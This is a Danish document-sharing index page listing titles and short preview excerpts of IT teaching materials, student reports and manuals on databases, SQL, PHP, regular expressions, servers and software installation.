Projekt 3: Interaktionsudvikling 11/04.14 Projekt 3: Interaktionsudvikling 11/04.14 Gruppe 5 http://kostecki.dk/cph/cupcakes/v2/opskrifter.php Christina Juulmann www.chrissycreations.dk Jacob Kostecki www.kostecki.dk Jayne Alice www.jaynealice.com

Læs mere

Introduktion til Oracle, Datalogi, RUC Af: Jens Lauterbach (jeans@ruc.dk) 2002

Introduktion til Oracle, Datalogi, RUC Af: Jens Lauterbach (jeans@ruc.dk) 2002 Introduktion til Oracle, Datalogi, RUC Af: Jens Lauterbach (jeans@ruc.dk) 2002 På datalogi har vi en databaseserver, som de studerende på datalogi kan benytte til projekter og som også benyttes i forbindelse

Læs mere

Write-N-Cite IV til Word 2010

Write-N-Cite IV til Word 2010 Write-N-Cite IV til Word 2010 Indhold Installation på hospitalets computere... 2 Installation på privat computer... 2 Login på RefWorks i Word... 3 Indsæt referencer i et dokument... 4 Tilføj tidsskriftsspecifikke

Læs mere

Workshop Persistence

Workshop Persistence Workshop Persistence University College Nordjylland Datamatikeruddannelsen Klasse: dmaa0216 Titel: Workshop Persistence Versionskontrol-sti: https://github.com/mrurb/workshop-persistans/invitations versionsnummer:

Læs mere

1 Domæne 2 1.1 Design valg... 2 1.1.1 User... 2. 2 Klassediagran 5

1 Domæne 2 1.1 Design valg... 2 1.1.1 User... 2. 2 Klassediagran 5 INDHOLD 1 Domæne 2 1.1 Design valg.................................... 2 1.1.1 User.................................... 2 2 Klassediagran 5 3 Serbio 7 3.1 Kommunikation..................................

Læs mere

Eksamens rapport Informationsteknologi B

Eksamens rapport Informationsteknologi B 2014 Eksamens rapport Informationsteknologi B Mathias Sondrup, Rasmus Larsen og Jonas Hansen 09-05-2014 Indhold Indledende afsnit... 5 PROBLEMFORMULERING... 5 KRAV TIL LØSNING... 5 Brugergrænseflade...

Læs mere

Indholdsfortegnelse Forord...8 Makroer samt aktivere Udvikler-fanen...10 Makrosikkerhed (Sikkerhedsindstillinger)...13

Indholdsfortegnelse Forord...8 Makroer samt aktivere Udvikler-fanen...10 Makrosikkerhed (Sikkerhedsindstillinger)...13 1 Indholdsfortegnelse Forord...8 Makroer samt aktivere Udvikler-fanen...10 Hvad er en makro... 10 Hvad kan du bruge en makro til... 10 Hvad en makro er (Visual Basic for Applications)... 11 Det hele sker

Læs mere

Procesbeskrivelse - Webprogrammering

Procesbeskrivelse - Webprogrammering Procesbeskrivelse - Webprogrammering Indholdsfortegnelse Forudsætninger... 1 Konceptet... 2 Hjemmesiden... 2 Server-side... 3 Filstrukturen... 3 Databasehåndtering og serverforbindelse... 4 Client-side...

Læs mere

Denne rapport er skrevet af:

Denne rapport er skrevet af: Rapport til Kajakklubben Rapport til Kajakklubben Generelt: Frontend: Backend Admin: Backend instruktør sign up: Backend medlem sign up: Database: Oprettelse af database og SQL sætning: Konklusion: Bilag:

Læs mere

Som sagt kræves der helst lidt viden om OOP hvis man virkelig vil lærer noget, og ikke bare lave copypaste

Som sagt kræves der helst lidt viden om OOP hvis man virkelig vil lærer noget, og ikke bare lave copypaste Denne guide er oprindeligt udgivet på Eksperten.dk Indkøbsvogn i PHP I denne artikel vil jeg prøve at lave en indkøbskurv som let kan udvides, og som ikke er svær at forstå. Det er bedst med viden om OOP(klasser),

Læs mere

Programmering for begyndere Lektion 2. Opsamling mm

Programmering for begyndere Lektion 2. Opsamling mm Lektion 2 Opsamling mm God tone Der er indlagt spørge sessioner Lektion 2 - Agenda Programmering for Lidt ændringer til teknikken, herunder hvordan du genser en lektion Lidt generelle tilbagemeldinger

Læs mere

Introduktion til programmering

Introduktion til programmering Introduktion til programmering Databaser Uge 38 L. Ingemann: SQL databaser på nettet, kap 2-4. Kompendium L. Ingemann: SQL databaser på nettet, kap 6-20, Kompendium Sidste gang Databaser Relationelle databaser

Læs mere

Listen over reserverede ord er meget lang, men de væsentligste vil jeg beskrive her i denne artikel:

Listen over reserverede ord er meget lang, men de væsentligste vil jeg beskrive her i denne artikel: Denne guide er oprindeligt udgivet på Eksperten.dk SQL og ASP En artikel omkring simpel SQL og hvordan disse opbygges, udformes og udføres, sådan at man kan få et brugbart resultat i ASP. Dette ligefra

Læs mere

Rigtig SQL Programmering

Rigtig SQL Programmering Rigtig SQL Programmering 1 SQL i Rigtige Programmer Indtil nu har vi brugt SQL direkte i kommandolinje promt/gui program, hvor vi kan lave forespørgsler til databasen I virkeligheden: Programmer kontakter

Læs mere

MsSQL: Basal performance tuning, part 1

MsSQL: Basal performance tuning, part 1 Denne guide er oprindeligt udgivet på Eksperten.dk MsSQL: Basal performance tuning, part 1 Hvordan man skriver "God SQL" for bedre performance. Skrevet den 03. Feb 2009 af trer I kategorien Databaser /

Læs mere

Deltag i en quiz: Test din viden i SAS -programmering

Deltag i en quiz: Test din viden i SAS -programmering Deltag i en quiz: Test din viden i SAS -programmering Georg Morsing, uddannelsesdirektør Copyright 2011 SAS Institute Inc. All rights reserved. Test din SAS -programmering 12 spørgsmål 4 svarmuligheder

Læs mere

Regulære udtryk, 4. del, Kogebogsudtryk

Regulære udtryk, 4. del, Kogebogsudtryk Denne guide er oprindeligt udgivet på Eksperten.dk Regulære udtryk, 4. del, Kogebogsudtryk Artiken gennemgår regex'er til nogle almindelige opgaver: dato, klokkeslet, email adresse, URL, HTML-tags og -attributter,

Læs mere

Skriftlig opgave. Designtanker i database-nære systemer

Skriftlig opgave. Designtanker i database-nære systemer Skriftlig opgave til eksamen for faget»databaser«designtanker i database-nære systemer Martin Ancher Holm Juni 2010 1 Intro Denne skriftlige opgave indeholder kort de daglige tanker jeg har omkring design

Læs mere

Advanced Word Template Brugermanual

Advanced Word Template Brugermanual Advanced Word Template Brugermanual Forord: Advanced Word Template er et værktøj, der anvendes sammen med Microsoft Word til at opbygge ensartet beskrivelser på en mere intelligent måde end Copy and Paste

Læs mere

Opsætning af Oracle Designer 10g repositorie

Opsætning af Oracle Designer 10g repositorie Opsætning af Oracle Designer 10g repositorie Dette dokument beskriver hvordan man opsætter det repositorie, som Oracle Designer gemmer sine data i. Udgangspunktet er at man har installeret Oracle Database

Læs mere

ISA Server 2006 Del 5. Jesper Hanno Hansen Jphan@wmdata.dk

ISA Server 2006 Del 5. Jesper Hanno Hansen Jphan@wmdata.dk ISA Server 2006 Del 5 Jesper Hanno Hansen Jphan@wmdata.dk Agenda Overblik over sessionen Konfigurerer RDP publisering Konfigurerer Exchange Access (OWA, RPC http og EAS) Næste Webcast Overblik over sessionen

Læs mere

Call Recorder Apresa Brugermanual

Call Recorder Apresa Brugermanual Call Recorder Apresa Brugermanual Version. 1.100.11 Vidicode Pleje og vedligeholdelse: CR Apresa må ikke blive våd. Hvis den bliver våd, tør den omgående af med en blød, ren klud. Væsker kan indeholde

Læs mere

Data lagring. 2. iteration (implement backend)

Data lagring. 2. iteration (implement backend) Data lagring 2. iteration (implement backend) Emner Grundlæggende database begreber. Data definitionskommandoer ER-diagrammer og cardinalitet/relationer mellem tabeller Redundant data og Normalisering

Læs mere

Python 3 kursus lektion 1:

Python 3 kursus lektion 1: Python 3 kursus lektion 1: Her laves et nyt program Her køre programmet! Her skrives koden: Gem (CTRL-s) Tryk F5 (for at køre) www.madsmatik.dk d.14-01-2016 1/5 At skrive til skærmen: Hello World Man kan

Læs mere

Øvelse 9. Klasser, objekter og sql-tabeller insert code here

Øvelse 9. Klasser, objekter og sql-tabeller insert code here Øvelse 9. Klasser, objekter og sql-tabeller Denne opgave handler om hvordan man opbevarer data fra databasekald på en struktureret måde. Den skal samtidig give jer erfaringer med objekter, der kommer til

Læs mere

Responsivt Design - DMAA0213. Afgangsprojekt DMAA0213

Responsivt Design - DMAA0213. Afgangsprojekt DMAA0213 Responsivt Design - DMAA0213 Afgangsprojekt DMAA0213 Jesper Bjørn Andersen 18-06-2015 5. semester, afgangsprojekt - Responsivt Design Vejleder: Gunhild Marie Andersen Afsluttet: 18 Juni 2015 Deltager:

Læs mere

FairSSL Fair priser fair support

FairSSL Fair priser fair support Exchange 2010 SSL certifikat administration Følgende vejledning beskriver hvordan man vælger hvilke adresser der skal være i ens Exchange 2010 SAN SSL certifikat. Derudover er der tekniske guides til at

Læs mere

Indhold. Vejledning til ShareFile. Sådan uploader du en fil til My Files & Folders. Sådan uploader du en fil til Shared Folders

Indhold. Vejledning til ShareFile. Sådan uploader du en fil til My Files & Folders. Sådan uploader du en fil til Shared Folders Indhold Sådan uploader du en fil til My Files & Folders Sådan uploader du en fil til Shared Folders Sådan giver du andre adgang til Shared Folders/My Files & Folders Sådan deler du en fil fra My Files

Læs mere

Password systemer til husbehov

Password systemer til husbehov Denne guide er oprindeligt udgivet på Eksperten.dk Psword systemer til husbehov Kort gennemgang af databe-funktioner til adgangskode-registering med reversibel og irreversibel kryptering. Skrevet den 03.

Læs mere

Foto-Applikation Dokumentation. Et Kod-i-Ferien projekt

Foto-Applikation Dokumentation. Et Kod-i-Ferien projekt Foto-Applikation Dokumentation Et Kod-i-Ferien projekt 1 Indholdsfortegnelse Systemets generelle opsætning... 3 Systemets elementer... 4 iphone applikation... 4 PHP-script... 4 Wordpress-plugin... 4 Website...

Læs mere

Program Dokumentation PC Software Skrevet af. Gruppen. Version 1.0

Program Dokumentation PC Software Skrevet af. Gruppen. Version 1.0 Program Dokumentation PC Software Skrevet af Gruppen. Version 1.0 Indholds fortegnelse 1. INDLEDNING...3 1.1. FORMÅL...3 1.2. REFERENCER...3 1.3. VERSIONSHISTORIE...3 1.4. DEFINITIONER...3 1.5. DOKUMENTATIONENS

Læs mere

Installation af Bilinfo på Windows

Installation af Bilinfo på Windows Installation af Bilinfo på Windows Eksempler i denne vejledning er taget fra Windows 7 og Internet Explorer 8 Download det nødvendige program. Gå ind på www.bilinfo.dk/download Klik på download ud for:

Læs mere